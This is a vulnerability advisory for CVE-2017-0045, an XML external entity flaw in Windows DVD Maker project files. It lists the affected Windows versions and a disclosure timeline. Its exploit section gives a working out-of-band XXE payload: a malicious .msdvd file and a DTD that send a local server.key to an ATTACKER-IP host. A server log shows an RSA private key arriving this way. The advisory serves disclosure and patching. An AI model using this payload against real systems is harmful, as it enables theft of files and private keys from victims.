Windows DVD Maker 6.1.7 XXE Injection

`[+] Credits: John Page AKA hyp3rlinx   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-DVD-MAKER-XML-EXTERNAL-ENTITY-FILE-DISCLOSURE.txt  
[+] ISR: ApparitionSec  
  
  
  
Vendor:  
=================  
www.microsoft.com  
  
  
  
Product:  
=================  
Windows DVD Maker   
v6.1.7  
  
Windows DVD Maker is a feature you can use to make DVDs that you can watch on a computer or on a TV using a regular DVD player.   
  
  
  
Vulnerability Type:  
=============================  
XML External Entity Injection  
  
  
  
CVE Reference:  
==============  
CVE-2017-0045   
MS17-020  
  
  
  
Security issue:  
================  
Windows DVD Maker Project ".msdvd" files are prone to XML External Entity attacks allowing remote attackers to gain access  
to files from a victims computer using a specially crafted malicious .msdvd file, resulting in remote information / file disclosures.   
  
  
POC URL:  
=========  
https://vimeo.com/208383182  
  
  
References:  
============  
https://technet.microsoft.com/library/security/MS17-020  
https://support.microsoft.com/en-us/help/3208223/ms17-020-security-update-for-windows-dvd-maker-march-14-2017  
  
Applies to:  
  
Windows Server 2008 R2 Service Pack 1  
Windows Server 2008 R2 Datacenter  
Windows Server 2008 R2 Enterprise  
Windows Server 2008 R2 Standard  
Windows Web Server 2008 R2  
Windows Server 2008 R2 Foundation  
Windows 7 Service Pack 1  
Windows 7 Ultimate  
Windows 7 Enterprise  
Windows 7 Professional  
Windows 7 Home Premium  
Windows 7 Home Basic  
Windows 7 Starter  
Windows Server 2008 Service Pack 2  
Windows Server 2008 Foundation  
Windows Server 2008 Standard  
Windows Server 2008 for Itanium-Based Systems  
Windows Web Server 2008  
Windows Server 2008 Enterprise  
Windows Server 2008 Datacenter  
Windows Vista Service Pack 2  
Windows Vista Home Basic  
Windows Vista Home Premium  
Windows Vista Business  
Windows Vista Ultimate  
Windows Vista Enterprise  
Windows Vista Starter  
  
  
  
Exploit code(s):  
===============  
Steal XAMPP Web Servers private key "server.key".  
  
1) python -m SimpleHTTPServer 8080 (listens on ATTACKER-IP, hosts payload.dtd)  
  
  
2) "payload.dtd"  
  
<?xml version="1.0" encoding="UTF-8"?>  
  
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:8080?%file;'>">  
  
%all;  
  
  
  
3) "Evil.msdvd"   
  
<?xml version="1.0"?>  
<!DOCTYPE NYHC [   
<!ENTITY % file SYSTEM "C:\xampp\apache\conf\ssl.key\server.key">  
<!ENTITY % dtd SYSTEM "http://ATTACKER-IP:8080/payload.dtd">  
%dtd;]>  
<pwn>&send;</pwn>  
  
  
RESULT:  
XAMPP Web Server private key sent to attacker:  
  
e.g.  
  
C:\>python -m SimpleHTTPServer 8080  
Serving HTTP on 0.0.0.0 port 8080 ...  
  
127.0.0.1 - - [13/Mar/2017 23:53:36] "GET /payload.dtd HTTP/1.1" 200 -  
127.0.0.1 - - [13/Mar/2017 23:53:36] "GET /?-----BEGIN%20RSA%20PRIVATE%20KEY-----MIICXQIBAAKBgQDBJdMn4+ytDYNqbedfmnUQI+KQnaBjlY8dQZpY1ZpjjFtzhpB5zMPWo3m4dbwelHx8buOt0CdcC8YMavkPMv6zxHoQIwQrKSjUqvmzL2YQ+KfBzWDEayhX42c7957NSCLcOOpIE4A6QJdXDEc1Rj1xYpruU51jDmd6KMmkNP8Z7QIDAQABAoGBAJvUs58McihQrcVRdIoaqPXjrei1c/DEepnFEw03EpzyYdo8KBZM0Xg7q2KKgsM9U45lPQZTNmY6DYh5SgYsQ3dGvocvwndq+wK+QsWH8ngTYqYqwUBBCaX3kwgknAc++EpRRVmV0dJMdXt3xAUKSXnDP9fLPdKXffJoG7C1HHVVAkEA+087rR2FLCjdRq/9WhIT/p2U0RRQnMJyQ74chIJSbeyXg8E  
ll5QxhSg7skrHSZ0cBPhyaLNDIZkn3NMnK2UqhwJBAMTAsUorHNo4dGpO8y2HE6QXxeuX05OhjiO8H2hmkcuMi2C9OwGIrI+lx1Q8mK261NKJh7sSVwQikh5YQYLKcOsCQQD6YqcChDb7GHvewdmatAhX1ok/Bw6KIPHXrMKdA3s9KkyLaRUbQPtVwBA6Q2brYS1Zhm/3ASQRhZbB3V9ZTSJhAkB772097P5Vr24VcPnZWdbTbG4twwtxWTix5dRa7RY/k55QJ6K9ipw4OBLhSvJZrPBWVm97NUg+wJAOMUXC30ZVAkA6pDgLbxVqkCnNgh2eNzhxQtvEGE4a8yFSUfSktS9UbjAATRYXNv2mAms32aAVKTzgSTapEX9M1OWdk+/yJrJs-----END%20RSA%20PRIVATE%20KEY----- HTTP/1.1" 301 -  
127.0.0.1 - - [13/Mar/2017 23:53:37] "GET /?-----BEGIN%20RSA%20PRIVATE%20KEY-----MIICXQIBAAKBgQDBJdMn4+ytDYNqbrdfmnUQI+KQnaBjlY8dQZpY1ZxjjFtzhpB5zMPmo4m4dbwelHx8buOt6CdcC8YMavkPMv6zxHoQIwQrKSjUqvmzL2YQ+KfBzWDEayhX42c7957NSCLcOOpIE4A6QJdXDEc1Rj1xYpruU51jDmd6KMmkNP8Z7QIDAQABAoGBAJvUs58McihQrcVRdIoaqPXjrei1c/DEepnFEw03EpzyYdo8KBZM0Xg7q2KKgsM9U45lPQZTNmY6DYh5SgYsQ3dGvocvwndq+wK+QsWH8ngTYqYqwUBBCaX3kwgknAc++EpRRVmV0dJMdXt3xAUKSXnDP9fLPdKXffJoG7C1HHVVAkEA+087rR2FLCjdRq/9WhIT/p2U0RRQnMJyQ74chIJSbeyXg8E  
ll5QxhSg7skrHSZ0cBPhyaLNDIZkn3NMnK2UqhwJBAMTAsUorHNo4dGpO8y2HE6QXxeuX05OhjiO8H2hmmcuMi2C9OwGIrI+lx1Q8mK261NKJh7sSVwQikh3YQYiKcOsCQQD6YqcChDb7GHvewdmatAhX1ok/Bw6KIPHXrMKdA3s9KkyLaRUbQPtVwBA6Q2brYS1Zhm/3ASQRhZbB3V9ZTSJhAkB772097P5Vr24VcPnZWdbTbG4twwtxWTix5dRa7RY/k55QJ6K9ipw4OBLhSvJZrPBWVm97NUg+wJAOMUXC30ZVAkA6pDgLbxVqkCnNgh2eNzhxQtvEGE4a8yFSUfSktS9UbjAATRYXNv2mAms32aAVKTzgSTapEX9M1OWdk+/yJrJs-----END%20RSA%20PRIVATE%20KEY-----/ HTTP/1.1" 200 -  
  
  
  
  
Disclosure Timeline:  
=========================================  
Vendor Notification: September 3, 2016  
Vendor acknowledgement: November 17, 2016  
March 14, 2017 : Vendor released MS17-020  
March 15, 2017 : Public Disclosure  
  
  
  
Network access:  
=================  
Remote  
  
  
  
Severity:  
===========  
High  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`